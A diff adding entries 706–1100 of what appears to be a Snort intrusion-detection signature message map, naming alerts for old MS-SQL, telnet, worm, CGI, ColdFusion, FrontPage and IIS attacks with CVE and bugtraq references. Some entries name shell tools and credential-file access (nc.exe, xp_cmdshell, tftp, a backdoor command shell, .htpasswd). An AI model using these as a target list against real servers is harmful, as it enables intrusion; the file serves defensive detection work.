+706 || MS-SQL xp_peekqueue possible buffer overflow || bugtraq,2040 || cve,2000-1085 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+707 || MS-SQL xp_proxiedmetadata possible buffer overflow || bugtraq,2024 || cve,1999-0287 || cve,2000-1087 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+708 || MS-SQL/SMB xp_enumresultset possible buffer overflow || bugtraq,2031 || cve,2000-1082 || url,www.microsoft.com/technet/security/bulletin/MS00-092.mspx
+709 || TELNET 4Dgifts SGI account attempt || cve,1999-0501 || nessus,11243
+710 || TELNET EZsetup account attempt || cve,1999-0501 || nessus,11244
+711 || TELNET SGI telnetd format bug || arachnids,304 || bugtraq,1572 || cve,2000-0733
+712 || TELNET ld_library_path || arachnids,367 || bugtraq,459 || cve,1999-0073
+713 || TELNET livingston DOS || arachnids,370 || bugtraq,2225 || cve,1999-0218
+714 || TELNET resolv_host_conf || arachnids,369 || bugtraq,2181 || cve,2001-0170
+715 || TELNET Attempted SU from wrong group
+716 || INFO TELNET access || arachnids,08 || cve,1999-0619 || nessus,10280
+717 || TELNET not on console || arachnids,365
+718 || INFO TELNET login incorrect || arachnids,127
+719 || TELNET root login
+720 || Virus - SnowWhite Trojan Incoming
+721 || VIRUS OUTBOUND bad file attachment
+722 || Virus - Possible NAVIDAD Worm
+723 || Virus - Possible MyRomeo Worm
+724 || Virus - Possible MyRomeo Worm
+725 || Virus - Possible MyRomeo Worm
+726 || Virus - Possible MyRomeo Worm
+727 || Virus - Possible MyRomeo Worm
+728 || Virus - Possible MyRomeo Worm
+729 || VIRUS OUTBOUND .scr file attachment
+730 || VIRUS OUTBOUND .shs file attachment
+731 || Virus - Possible QAZ Worm || MCAFEE,98775
+732 || Virus - Possible QAZ Worm Infection || MCAFEE,98775
+733 || Virus - Possible QAZ Worm Calling Home || MCAFEE,98775
+734 || Virus - Possible Matrix worm
+735 || Virus - Possible MyRomeo Worm
+736 || Virus - Successful eurocalculator execution
+737 || Virus - Possible eurocalculator.exe file
+738 || Virus - Possible Pikachu Pokemon Virus || MCAFEE,98696
+739 || Virus - Possible Triplesix Worm || MCAFEE,10389
+740 || Virus - Possible Tune.vbs || MCAFEE,10497
+741 || Virus - Possible NAIL Worm || MCAFEE,10109
+742 || Virus - Possible NAIL Worm || MCAFEE,10109
+743 || Virus - Possible NAIL Worm || MCAFEE,10109
+744 || Virus - Possible NAIL Worm || MCAFEE,10109
+745 || Virus - Possible Papa Worm || MCAFEE,10145
+746 || Virus - Possible Freelink Worm || MCAFEE,10225
+747 || Virus - Possible Simbiosis Worm
+748 || Virus - Possible BADASS Worm || MCAFEE,10388
+749 || Virus - Possible ExploreZip.B Worm || MCAFEE,10471
+751 || Virus - Possible wscript.KakWorm || MCAFEE,10509
+752 || Virus Possible Suppl Worm || MCAFEE,10361
+753 || Virus - Possible NewApt.Worm - theobbq.exe || MCAFEE,10540
+754 || Virus - Possible Word Macro - VALE || MCAFEE,10502
+755 || Virus - Possible IROK Worm || MCAFEE,98552
+756 || Virus - Possible Fix2001 Worm || MCAFEE,10355
+757 || Virus - Possible Y2K Zelu Trojan || MCAFEE,10505
+758 || Virus - Possible The_Fly Trojan || MCAFEE,10478
+759 || Virus - Possible Word Macro - VALE || MCAFEE,10502
+760 || Virus - Possible Passion Worm || MCAFEE,10467
+761 || Virus - Possible NewApt.Worm - cooler3.exe || MCAFEE,10540
+762 || Virus - Possible NewApt.Worm - party.exe || MCAFEE,10540
+763 || Virus - Possible NewApt.Worm - hog.exe || MCAFEE,10540
+764 || Virus - Possible NewApt.Worm - goal1.exe || MCAFEE,10540
+765 || Virus - Possible NewApt.Worm - pirate.exe || MCAFEE,10540
+766 || Virus - Possible NewApt.Worm - video.exe || MCAFEE,10540
+767 || Virus - Possible NewApt.Worm - baby.exe || MCAFEE,10540
+768 || Virus - Possible NewApt.Worm - cooler1.exe || MCAFEE,10540
+769 || Virus - Possible NewApt.Worm - boss.exe || MCAFEE,10540
+770 || Virus - Possible NewApt.Worm - g-zilla.exe || MCAFEE,10540
+771 || Virus - Possible ToadieE-mail Trojan || MCAFEE,10540
+772 || Virus - Possible PrettyPark Trojan || MCAFEE,10175
+773 || Virus - Possible Happy99 Virus || MCAFEE,10144
+774 || Virus - Possible CheckThis Trojan
+775 || Virus - Possible Bubbleboy Worm || MCAFEE,10418
+776 || Virus - Possible NewApt.Worm - copier.exe || MCAFEE,10540
+777 || Virus - Possible MyPics Worm || MCAFEE,10467
+778 || Virus - Possible Babylonia - X-MAS.exe || MCAFEE,10461
+779 || Virus - Possible NewApt.Worm - gadget.exe || MCAFEE,10540
+780 || Virus - Possible NewApt.Worm - irnglant.exe || MCAFEE,10540
+781 || Virus - Possible NewApt.Worm - casper.exe || MCAFEE,10540
+782 || Virus - Possible NewApt.Worm - fborfw.exe || MCAFEE,10540
+783 || Virus - Possible NewApt.Worm - saddam.exe || MCAFEE,10540
+784 || Virus - Possible NewApt.Worm - bboy.exe || MCAFEE,10540
+785 || Virus - Possible NewApt.Worm - monica.exe || MCAFEE,10540
+786 || Virus - Possible NewApt.Worm - goal.exe || MCAFEE,10540
+787 || Virus - Possible NewApt.Worm - panther.exe || MCAFEE,10540
+788 || Virus - Possible NewApt.Worm - chestburst.exe || MCAFEE,10540
+789 || Virus - Possible NewApt.Worm - farter.exe || MCAFEE,1054
+790 || Virus - Possible Common Sense Worm
+791 || Virus - Possible NewApt.Worm - cupid2.exe || MCAFEE,10540
+792 || Virus - Possible Resume Worm || MCAFEE,98661
+793 || VIRUS OUTBOUND .vbs file attachment
+794 || Virus - Possible Resume Worm || MCAFEE,98661
+795 || Virus - Possible Worm -  txt.vbs file
+796 || Virus - Possible Worm - xls.vbs file
+797 || Virus - Possible Worm - jpg.vbs file
+798 || Virus - Possible Worm -  gif.vbs file
+799 || Virus - Possible Timofonica Worm || MCAFEE,98674
+800 || Virus - Possible Resume Worm || MCAFEE,98661
+801 || Virus - Possible Worm - doc.vbs file
+802 || Virus - Possbile Zipped Files Trojan || MCAFEE,10450
+803 || WEB-CGI HyperSeek hsx.cgi directory traversal attempt || bugtraq,2314 || cve,2001-0253 || nessus,10602
+804 || WEB-CGI SWSoft ASPSeek Overflow attempt || bugtraq,2492 || cve,2001-0476
+805 || WEB-CGI webspeed access || arachnids,467 || bugtraq,969 || cve,2000-0127 || nessus,10304
+806 || WEB-CGI yabb directory traversal attempt || arachnids,462 || bugtraq,1668 || cve,2000-0853
+807 || WEB-CGI /wwwboard/passwd.txt access || arachnids,463 || bugtraq,649 || cve,1999-0953 || cve,1999-0954 || nessus,10321
+808 || WEB-CGI webdriver access || arachnids,473 || bugtraq,2166 || nessus,10592
+809 || WEB-CGI whois_raw.cgi arbitrary command execution attempt || arachnids,466 || bugtraq,304 || cve,1999-1063 || nessus,10306
+810 || WEB-CGI whois_raw.cgi access || arachnids,466 || bugtraq,304 || cve,1999-1063 || nessus,10306
+811 || WEB-CGI websitepro path access || arachnids,468 || bugtraq,932 || cve,2000-0066
+812 || WEB-CGI webplus version access || arachnids,470 || bugtraq,1102 || cve,2000-0282
+813 || WEB-CGI webplus directory traversal || arachnids,471 || bugtraq,1102 || cve,2000-0282
+815 || WEB-CGI websendmail access || arachnids,469 || bugtraq,2077 || cve,1999-0196 || nessus,10301
+817 || WEB-CGI dcboard.cgi invalid user addition attempt || bugtraq,2728 || cve,2001-0527 || nessus,10583
+818 || WEB-CGI dcforum.cgi access || bugtraq,2728 || cve,2001-0527 || nessus,10583
+819 || WEB-CGI mmstdod.cgi access || bugtraq,2063 || cve,2001-0021 || nessus,10566
+820 || WEB-CGI anaconda directory transversal attempt || bugtraq,2338 || bugtraq,2388 || cve,2000-0975 || cve,2001-0308
+821 || WEB-CGI imagemap.exe overflow attempt || arachnids,412 || bugtraq,739 || cve,1999-0951 || nessus,10122
+823 || WEB-CGI cvsweb.cgi access || bugtraq,1469 || cve,2000-0670 || nessus,10465
+824 || WEB-CGI php.cgi access || arachnids,232 || bugtraq,2250 || bugtraq,712 || cve,1999-0238 || cve,1999-058 || nessus,10178
+825 || WEB-CGI glimpse access || bugtraq,2026 || cve,1999-0147 || nessus,10095
+826 || WEB-CGI htmlscript access || bugtraq,2001 || cve,1999-0264 || nessus,10106
+827 || WEB-CGI info2www access || bugtraq,1995 || cve,1999-0266 || nessus,10127
+828 || WEB-CGI maillist.pl access
+829 || WEB-CGI nph-test-cgi access || arachnids,224 || bugtraq,686 || cve,1999-0045 || nessus,10165
+830 || WEB-CGI NPH-publish access || cve,1999-1177 || nessus,10164
+832 || WEB-CGI perl.exe access || arachnids,219 || cve,1999-0509 || nessus,10173 || url,www.cert.org/advisories/CA-1996-11.html
+833 || WEB-CGI rguest.exe access || bugtraq,2024 || cve,1999-0287 || cve,1999-0467
+834 || WEB-CGI rwwwshell.pl access || url,www.itsecurity.com/papers/p37.htm
+835 || WEB-CGI test-cgi access || arachnids,218 || bugtraq,2003 || cve,1999-0070 || nessus,10282
+836 || WEB-CGI textcounter.pl access || bugtraq,2265 || cve,1999-1479 || nessus,11451
+837 || WEB-CGI uploader.exe access || bugtraq,1611 || cve,1999-0177 || cve,2000-0769 || nessus,10291
+838 || WEB-CGI webgais access || arachnids,472 || bugtraq,2058 || cve,1999-0176 || nessus,10300
+839 || WEB-CGI finger access || arachnids,221 || cve,1999-0612 || nessus,10071
+840 || WEB-CGI perlshop.cgi access || cve,1999-1374
+841 || WEB-CGI pfdisplay.cgi access || bugtraq,64 || cve,1999-0270 || nessus,10174
+842 || WEB-CGI aglimpse access || bugtraq,2026 || cve,1999-0147 || nessus,10095
+843 || WEB-CGI anform2 access || arachnids,225 || bugtraq,719 || cve,1999-0066
+844 || WEB-CGI args.bat access || cve,1999-1180 || nessus,11465
+845 || WEB-CGI AT-admin.cgi access || cve,1999-1072
+846 || WEB-CGI bnbform.cgi access || bugtraq,2147 || cve,1999-0937
+847 || WEB-CGI campas access || bugtraq,1975 || cve,1999-0146 || nessus,10035
+848 || WEB-CGI view-source directory traversal || bugtraq,2251 || bugtraq,8883 || cve,1999-0174
+849 || WEB-CGI view-source access || bugtraq,2251 || bugtraq,8883 || cve,1999-0174
+850 || WEB-CGI wais.pl access
+851 || WEB-CGI files.pl access || cve,1999-1081
+852 || WEB-CGI wguest.exe access || bugtraq,2024 || cve,1999-0287 || cve,1999-0467
+853 || WEB-CGI wrap access || arachnids,234 || bugtraq,373 || cve,1999-0149 || nessus,10317
+854 || WEB-CGI classifieds.cgi access || bugtraq,2020 || cve,1999-0934
+855 || WEB-CGI edit.pl access || bugtraq,2713
+856 || WEB-CGI environ.cgi access
+857 || WEB-CGI faxsurvey access || bugtraq,2056 || cve,1999-0262 || nessus,10067
+858 || WEB-CGI filemail access || cve,1999-1154
+859 || WEB-CGI man.sh access || bugtraq,2276 || cve,1999-1179
+860 || WEB-CGI snork.bat access || arachnids,220 || bugtraq,1053 || cve,2000-0169
+861 || WEB-CGI w3-msql access || arachnids,210 || bugtraq,591 || bugtraq,898 || cve,1999-0276 || cve,1999-0753 || cve,2000-0012 || nessus,10296
+862 || WEB-CGI csh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+863 || WEB-CGI day5datacopier.cgi access || cve,1999-1232
+864 || WEB-CGI day5datanotifier.cgi access || cve,1999-1232
+865 || WEB-CGI ksh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+866 || WEB-CGI post-query access || bugtraq,6752 || cve,2001-0291
+867 || WEB-CGI visadmin.exe access || bugtraq,1808 || cve,1999-0970 || cve,1999-1970 || nessus,10295
+868 || WEB-CGI rsh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+869 || WEB-CGI dumpenv.pl access || cve,1999-1178 || nessus,10060
+870 || WEB-CGI snorkerz.cmd access
+871 || WEB-CGI survey.cgi access || bugtraq,1817 || cve,1999-0936
+872 || WEB-CGI tcsh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+873 || WEB-CGI scriptalias access || arachnids,227 || bugtraq,2300 || cve,1999-0236
+874 || WEB-CGI w3-msql solaris x86  access || arachnids,211 || cve,1999-0276
+875 || WEB-CGI win-c-sample.exe access || arachnids,231 || bugtraq,2078 || cve,1999-0178 || nessus,10008
+877 || WEB-CGI rksh access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+878 || WEB-CGI w3tvars.pm access
+879 || WEB-CGI admin.pl access || bugtraq,3839 || url,online.securityfocus.com/archive/1/249355
+880 || WEB-CGI LWGate access || url,www.netspace.org/~dwb/lwgate/lwgate-history.html || url,www.wiretrip.net/rfp/p/doc.asp/i2/d6.htm
+881 || WEB-CGI archie access
+882 || WEB-CGI calendar access
+883 || WEB-CGI flexform access || url,www.wiretrip.net/rfp/p/doc.asp/i2/d6.htm
+884 || WEB-CGI formmail access || arachnids,226 || bugtraq,1187 || bugtraq,2079 || cve,1999-0172 || cve,2000-0411 || nessus,10076 || nessus,10782
+885 || WEB-CGI bash access || cve,1999-0509 || url,www.cert.org/advisories/CA-1996-11.html
+886 || WEB-CGI phf access || arachnids,128 || bugtraq,629 || cve,1999-0067
+887 || WEB-CGI www-sql access || url,marc.theaimsgroup.com/?l=bugtraq&m=88704258804054&w=2
+888 || WEB-CGI wwwadmin.pl access
+889 || WEB-CGI ppdscgi.exe access || bugtraq,491 || nessus,10187 || url,online.securityfocus.com/archive/1/16878
+890 || WEB-CGI sendform.cgi access || bugtraq,5286 || cve,2002-0710 || url,www.scn.org/help/sendform.txt
+891 || WEB-CGI upload.pl access
+892 || WEB-CGI AnyForm2 access || bugtraq,719 || cve,1999-0066 || nessus,10277
+893 || WEB-CGI MachineInfo access || cve,1999-1067
+894 || WEB-CGI bb-hist.sh access || bugtraq,142 || cve,1999-1462 || nessus,10025
+895 || WEB-CGI redirect access || bugtraq,1179 || cve,2000-0382
+896 || WEB-CGI way-board access || bugtraq,2370 || cve,2001-0214 || nessus,10610
+897 || WEB-CGI pals-cgi access || bugtraq,2372 || cve,2001-0216 || cve,2001-0217 || nessus,10611
+898 || WEB-CGI commerce.cgi access || bugtraq,2361 || cve,2001-0210 || nessus,10612
+899 || WEB-CGI Amaya templates sendtemp.pl directory traversal attempt || bugtraq,2504 || cve,2001-0272
+900 || WEB-CGI webspirs.cgi directory traversal attempt || bugtraq,2362 || cve,2001-0211 || nessus,10616
+901 || WEB-CGI webspirs.cgi access || bugtraq,2362 || cve,2001-0211 || nessus,10616
+902 || WEB-CGI tstisapi.dll access || bugtraq,2381 || cve,2001-0302
+903 || WEB-COLDFUSION cfcache.map access || bugtraq,917 || cve,2000-0057
+904 || WEB-COLDFUSION exampleapp application.cfm || bugtraq,1021 || cve,2000-0189
+905 || WEB-COLDFUSION application.cfm access || bugtraq,1021 || cve,2000-0189
+906 || WEB-COLDFUSION getfile.cfm access || bugtraq,229 || cve,1999-0800
+907 || WEB-COLDFUSION addcontent.cfm access
+908 || WEB-COLDFUSION administrator access || bugtraq,1314 || cve,2000-0538
+909 || WEB-COLDFUSION datasource username attempt || bugtraq,550
+910 || WEB-COLDFUSION fileexists.cfm access || bugtraq,550
+911 || WEB-COLDFUSION exprcalc access || bugtraq,115 || bugtraq,550 || cve,1999-0455
+912 || WEB-COLDFUSION parks access || bugtraq,550
+913 || WEB-COLDFUSION cfappman access || bugtraq,550
+914 || WEB-COLDFUSION beaninfo access || bugtraq,550
+915 || WEB-COLDFUSION evaluate.cfm access || bugtraq,550
+916 || WEB-COLDFUSION getodbcdsn access || bugtraq,550
+917 || WEB-COLDFUSION db connections flush attempt || bugtraq,550
+918 || WEB-COLDFUSION expeval access || bugtraq,550 || cve,1999-0477
+919 || WEB-COLDFUSION datasource passwordattempt || bugtraq,550
+920 || WEB-COLDFUSION datasource attempt || bugtraq,550
+921 || WEB-COLDFUSION admin encrypt attempt || bugtraq,550
+922 || WEB-COLDFUSION displayfile access || bugtraq,550
+923 || WEB-COLDFUSION getodbcin attempt || bugtraq,550
+924 || WEB-COLDFUSION admin decrypt attempt || bugtraq,550
+925 || WEB-COLDFUSION mainframeset access || bugtraq,550
+926 || WEB-COLDFUSION set odbc ini attempt || bugtraq,550
+927 || WEB-COLDFUSION settings refresh attempt || bugtraq,550
+928 || WEB-COLDFUSION exampleapp access
+929 || WEB-COLDFUSION CFUSION_VERIFYMAIL access || bugtraq,550
+930 || WEB-COLDFUSION snippets attempt || bugtraq,550
+931 || WEB-COLDFUSION cfmlsyntaxcheck.cfm access || bugtraq,550
+932 || WEB-COLDFUSION application.cfm access || arachnids,268 || bugtraq,550 || cve,2000-0189
+933 || WEB-COLDFUSION onrequestend.cfm access || arachnids,269 || bugtraq,550 || cve,2000-0189
+935 || WEB-COLDFUSION startstop DOS access || bugtraq,247
+936 || WEB-COLDFUSION gettempdirectory.cfm access  || bugtraq,550
+937 || WEB-FRONTPAGE _vti_rpc access || bugtraq,2144 || cve,2001-0096 || nessus,10585
+939 || WEB-FRONTPAGE posting || bugtraq,2144 || cve,2001-0096 || nessus,10585 || url,www.microsoft.com/technet/security/bulletin/MS00-100.mspx
+940 || WEB-FRONTPAGE shtml.dll access || arachnids,292 || bugtraq,1174 || bugtraq,1594 || bugtraq,1595 || cve,2000-0413 || cve,2000-0746 || nessus,11395 || url,www.microsoft.com/technet/security/bulletin/ms00-060.mspx
+941 || WEB-FRONTPAGE contents.htm access
+942 || WEB-FRONTPAGE orders.htm access
+943 || WEB-FRONTPAGE fpsrvadm.exe access
+944 || WEB-FRONTPAGE fpremadm.exe access
+945 || WEB-FRONTPAGE fpadmin.htm access
+946 || WEB-FRONTPAGE fpadmcgi.exe access
+947 || WEB-FRONTPAGE orders.txt access
+948 || WEB-FRONTPAGE form_results access || cve,1999-1052
+949 || WEB-FRONTPAGE registrations.htm access
+950 || WEB-FRONTPAGE cfgwiz.exe access
+951 || WEB-FRONTPAGE authors.pwd access || bugtraq,989 || cve,1999-0386 || nessus,10078
+952 || WEB-FRONTPAGE author.exe access
+953 || WEB-FRONTPAGE administrators.pwd access || bugtraq,1205
+954 || WEB-FRONTPAGE form_results.htm access || cve,1999-1052
+955 || WEB-FRONTPAGE access.cnf access || bugtraq,4078 || nessus,10575
+956 || WEB-FRONTPAGE register.txt access
+957 || WEB-FRONTPAGE registrations.txt access
+958 || WEB-FRONTPAGE service.cnf access || bugtraq,4078 || nessus,10575
+959 || WEB-FRONTPAGE service.pwd || bugtraq,1205
+960 || WEB-FRONTPAGE service.stp access
+961 || WEB-FRONTPAGE services.cnf access || bugtraq,4078 || nessus,10575
+962 || WEB-FRONTPAGE shtml.exe access || bugtraq,1174 || bugtraq,1608 || bugtraq,5804 || cve,2000-0413 || cve,2000-0709 || cve,2002-0692 || nessus,10405 || nessus,11311
+963 || WEB-FRONTPAGE svcacl.cnf access || bugtraq,4078 || nessus,10575
+964 || WEB-FRONTPAGE users.pwd access
+965 || WEB-FRONTPAGE writeto.cnf access || bugtraq,4078 || nessus,10575
+966 || WEB-FRONTPAGE .... request || arachnids,248 || bugtraq,989 || cve,1999-0386 || cve,2000-0153 || nessus,10142
+967 || WEB-FRONTPAGE dvwssr.dll access || arachnids,271 || bugtraq,1108 || bugtraq,1109 || cve,2000-0260 || url,www.microsoft.com/technet/security/bulletin/ms00-025.mspx
+968 || WEB-FRONTPAGE register.htm access
+969 || WEB-IIS WebDAV file lock attempt || bugtraq,2736
+970 || WEB-IIS multiple decode attempt || bugtraq,2708 || cve,2001-0333 || nessus,10671
+971 || WEB-IIS ISAPI .printer access || arachnids,533 || bugtraq,2674 || cve,2001-0241 || nessus,10661 || url,www.microsoft.com/technet/security/bulletin/MS01-023.mspx
+972 || WEB-IIS %2E-asp access || bugtraq,1814 || cve,1999-0253
+973 || WEB-IIS *.idc attempt || bugtraq,1448 || cve,1999-0874 || cve,2000-0661
+974 || WEB-IIS Directory transversal attempt || bugtraq,2218 || cve,1999-0229
+975 || WEB-IIS Alternate Data streams ASP file access attempt || bugtraq,149 || cve,1999-0278 || nessus,10362 || url,support.microsoft.com/default.aspx?scid=kb\
+976 || WEB-IIS .bat? access || bugtraq,2023 || cve,1999-0233 || url,support.microsoft.com/support/kb/articles/Q148/1/88.asp || url,support.microsoft.com/support/kb/articles/Q155/0/56.asp
+977 || WEB-IIS .cnf access || bugtraq,4078 || nessus,10575
+978 || WEB-IIS ASP contents view || bugtraq,1084 || cve,2000-0302 || nessus,10356 || url,www.microsoft.com/technet/security/bulletin/MS00-006.mspx
+979 || WEB-IIS ASP contents view || bugtraq,1861 || cve,2000-0942 || url,www.microsoft.com/technet/security/bulletin/MS00-006.mspx
+980 || WEB-IIS CGImail.exe access || bugtraq,1623 || cve,2000-0726
+981 || WEB-IIS unicode directory traversal attempt || bugtraq,1806 || cve,2000-0884 || nessus,10537
+982 || WEB-IIS unicode directory traversal attempt || bugtraq,1806 || cve,2000-0884 || nessus,10537
+983 || WEB-IIS unicode directory traversal attempt || bugtraq,1806 || cve,2000-0884 || nessus,10537
+984 || WEB-IIS JET VBA access || bugtraq,307 || cve,1999-0874 || nessus,10116
+985 || WEB-IIS JET VBA access || bugtraq,286 || cve,1999-0874
+986 || WEB-IIS MSProxy access || url,support.microsoft.com/?kbid=331066
+987 || WEB-IIS .htr access || bugtraq,1488 || cve,2000-0630 || nessus,10680
+988 || WEB-IIS SAM Attempt || url,www.ciac.org/ciac/bulletins/h-45.shtml
+989 || BACKDOOR sensepost.exe command shell attempt || nessus,11003
+990 || WEB-FRONTPAGE _vti_inf.html access || nessus,11455
+991 || WEB-IIS achg.htr access || bugtraq,2110 || cve,1999-0407
+992 || WEB-IIS adctest.asp access
+993 || WEB-IIS iisadmin access || bugtraq,189 || cve,1999-1538 || nessus,11032
+994 || WEB-IIS /scripts/iisadmin/default.htm access
+995 || WEB-IIS ism.dll access || bugtraq,189 || cve,1999-1538 || cve,2000-0630
+996 || WEB-IIS anot.htr access || bugtraq,2110 || cve,1999-0407
+997 || WEB-IIS asp-dot attempt || bugtraq,1814 || nessus,10363
+998 || WEB-IIS asp-srch attempt
+999 || WEB-IIS bdir access || bugtraq,2280
+1000 || WEB-IIS bdir.htr access || bugtraq,2280 || nessus,10577
+1001 || WEB-MISC carbo.dll access || bugtraq,2126 || cve,1999-1069
+1002 || WEB-IIS cmd.exe access
+1003 || WEB-IIS cmd? access
+1004 || WEB-IIS codebrowser Exair access || cve,1999-0499 || cve,1999-0815
+1005 || WEB-IIS codebrowser SDK access || bugtraq,167 || cve,1999-0736
+1007 || WEB-IIS cross-site scripting attempt || bugtraq,119 || bugtraq,1594 || bugtraq,1595 || cve,2000-0746 || cve,2000-1104 || nessus,10572 || url,www.microsoft.com/technet/security/bulletin/MS00-028.mspx
+1008 || WEB-IIS del attempt
+1009 || WEB-IIS directory listing || nessus,10573
+1010 || WEB-IIS encoding access || arachnids,200 || bugtraq,886 || cve,2000-0024 || url,http//www.microsoft.com/technet/security/bulletin/MS99-061.mspx
+1011 || WEB-IIS exec-src access
+1012 || WEB-IIS fpcount attempt || bugtraq,2252 || cve,1999-1376
+1013 || WEB-IIS fpcount access || bugtraq,2252 || cve,1999-1376
+1015 || WEB-IIS getdrvs.exe access
+1016 || WEB-IIS global.asa access || cve,2000-0778 || nessus,10491 || nessus,10991
+1017 || WEB-IIS idc-srch attempt || cve,1999-0874
+1018 || WEB-IIS iisadmpwd attempt || bugtraq,2110 || cve,1999-0407
+1019 || IIS Malformed Hit-Highlighting Argument File Access Attempt || bugtraq,950 || cve,2000-0097 || url,www.microsoft.com/technet/security/bulletin/ms00-006.mspx || url,www.securityfocus.com/archive/1/43762
+1020 || WEB-IIS isc$data attempt || bugtraq,307 || cve,1999-0874 || nessus,10116
+1021 || WEB-IIS ism.dll attempt || bugtraq,1193 || cve,2000-0457 || nessus,10680 || url,www.microsoft.com/technet/security/bulletin/MS00-031.mspx
+1022 || WEB-IIS jet vba access || bugtraq,286 || cve,1999-0874
+1023 || WEB-IIS msadcs.dll access || bugtraq,529 || cve,1999-1011 || nessus,10357
+1024 || WEB-IIS newdsn.exe access || bugtraq,1818 || cve,1999-0191 || nessus,10360
+1025 || WEB-IIS perl access
+1026 || WEB-IIS perl-browse newline attempt || bugtraq,6833
+1027 || WEB-IIS perl-browse space attempt || bugtraq,6833
+1028 || WEB-IIS query.asp access || bugtraq,193 || cve,1999-0449
+1029 || WEB-IIS scripts-browse access || nessus,11032
+1030 || WEB-IIS search97.vts access || bugtraq,162
+1031 || WEB-IIS /SiteServer/Publishing/viewcode.asp access || nessus,10576
+1032 || WEB-IIS showcode access || nessus,10576
+1033 || WEB-IIS showcode access || nessus,10576
+1034 || WEB-IIS showcode access || nessus,10576
+1035 || WEB-IIS showcode access || nessus,10576
+1036 || WEB-IIS showcode access || nessus,10576
+1037 || WEB-IIS showcode.asp access || bugtraq,167 || cve,1999-0736 || nessus,10007 || url,www.microsoft.com/technet/security/bulletin/MS99-013.mspx
+1038 || WEB-IIS site server config access || bugtraq,256 || cve,1999-1520
+1039 || WEB-IIS srch.htm access
+1040 || WEB-IIS srchadm access || nessus,11032
+1041 || WEB-IIS uploadn.asp access || bugtraq,1811 || cve,1999-0360
+1042 || WEB-IIS view source via translate header || arachnids,305 || bugtraq,1578 || cve,2000-0778
+1043 || WEB-IIS viewcode.asp access || cve,1999-0737 || nessus,10576
+1044 || WEB-IIS webhits access || arachnids,237 || bugtraq,950 || cve,2000-0097
+1045 || WEB-IIS Unauthorized IP Access Attempt
+1046 || WEB-IIS site/iisamples access || nessus,10370
+1047 || WEB-MISC Netscape Enterprise DOS || bugtraq,2294 || cve,2001-0251
+1048 || WEB-MISC Netscape Enterprise directory listing attempt || bugtraq,2285 || cve,2001-0250
+1049 || WEB-MISC iPlanet ../../ DOS attempt || bugtraq,2282 || cve,2001-0252
+1050 || WEB-MISC iPlanet GETPROPERTIES attempt || bugtraq,2732 || cve,2001-0746
+1051 || WEB-CGI technote main.cgi file directory traversal attempt || bugtraq,2156 || cve,2001-0075 || nessus,10584
+1052 || WEB-CGI technote print.cgi directory traversal attempt || bugtraq,2156 || cve,2001-0075 || nessus,10584
+1053 || WEB-CGI ads.cgi command execution attempt || bugtraq,2103 || cve,2001-0025 || nessus,11464
+1054 || WEB-MISC weblogic/tomcat .jsp view source attempt || bugtraq,2527
+1055 || WEB-MISC Tomcat directory traversal attempt || bugtraq,2518
+1056 || WEB-MISC Tomcat view source attempt || bugtraq,2527 || cve,2001-0590
+1057 || WEB-MISC ftp attempt
+1058 || WEB-MISC xp_enumdsn attempt
+1059 || WEB-MISC xp_filelist attempt
+1060 || WEB-MISC xp_availablemedia attempt
+1061 || WEB-MISC xp_cmdshell attempt
+1062 || WEB-MISC nc.exe attempt
+1064 || WEB-MISC wsh attempt
+1065 || WEB-MISC rcmd attempt
+1066 || WEB-MISC telnet attempt
+1067 || WEB-MISC net attempt
+1068 || WEB-MISC tftp attempt
+1069 || WEB-MISC xp_regread attempt
+1070 || WEB-MISC WebDAV search access || arachnids,474 || bugtraq,1756 || cve,2000-0951
+1071 || WEB-MISC .htpasswd access
+1072 || WEB-MISC Lotus Domino directory traversal || bugtraq,2173 || cve,2001-0009 || nessus,12248
+1073 || WEB-MISC webhits.exe access || bugtraq,950 || cve,2000-0097
+1075 || WEB-IIS postinfo.asp access || bugtraq,1811 || cve,1999-0360
+1076 || WEB-IIS repost.asp access || nessus,10372
+1077 || WEB-MISC queryhit.htm access || nessus,10370
+1078 || WEB-MISC counter.exe access || bugtraq,267 || cve,1999-1030
+1079 || WEB-MISC WebDAV propfind access || bugtraq,1656 || cve,2000-0869
+1080 || WEB-MISC unify eWave ServletExec upload || bugtraq,1868 || bugtraq,1876 || cve,2000-1024 || cve,2000-1025 || nessus,10570
+1081 || WEB-MISC Netscape Servers suite DOS || bugtraq,1868 || cve,2000-1025
+1082 || WEB-MISC amazon 1-click cookie theft || bugtraq,1194 || cve,2000-0439
+1083 || WEB-MISC unify eWave ServletExec DOS || bugtraq,1868 || cve,2000-1025
+1084 || WEB-MISC Allaire JRUN DOS attempt || bugtraq,2337 || cve,2000-1049
+1085 || WEB-PHP strings overflow || arachnids,431 || bugtraq,802
+1086 || WEB-PHP strings overflow || arachnids,430 || bugtraq,1786 || cve,2000-0967
+1087 || WEB-MISC whisker tab splice attack || arachnids,415 || url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
+1088 || WEB-CGI eXtropia webstore directory traversal || bugtraq,1774 || cve,2000-1005 || nessus,10532
+1089 || WEB-CGI shopping cart directory traversal || bugtraq,1777 || cve,2000-0921
+1090 || WEB-CGI Allaire Pro Web Shell attempt
+1091 || WEB-MISC ICQ Webfront HTTP DOS || bugtraq,1463 || cve,2000-1078
+1092 || WEB-CGI Armada Style Master Index directory traversal || bugtraq,1772 || cve,2000-0924 || nessus,10562 || url,www.synnergy.net/downloads/advisories/SLA-2000-16.masterindex.txt
+1093 || WEB-CGI cached_feed.cgi moreover shopping cart directory traversal || bugtraq,1762 || cve,2000-0906
+1094 || WEB-CGI webstore directory traversal || bugtraq,1774 || cve,2000-1005
+1095 || WEB-MISC Talentsoft Web+ Source Code view access || bugtraq,1722 || url,archives.neohapsis.com/archives/ntbugtraq/2000-q3/0168.html
+1096 || WEB-MISC Talentsoft Web+ internal IP Address access || bugtraq,1720 || url,archives.neohapsis.com/archives/ntbugtraq/2000-q3/0168.html
+1097 || WEB-CGI Talentsoft Web+ exploit attempt || bugtraq,1725
+1098 || WEB-MISC SmartWin CyberOffice Shopping Cart access || bugtraq,1734 || cve,2000-0925
+1099 || WEB-MISC cybercop scan || arachnids,374
+1100 || WEB-MISC L3retriever HTTP Probe || arachnids,310
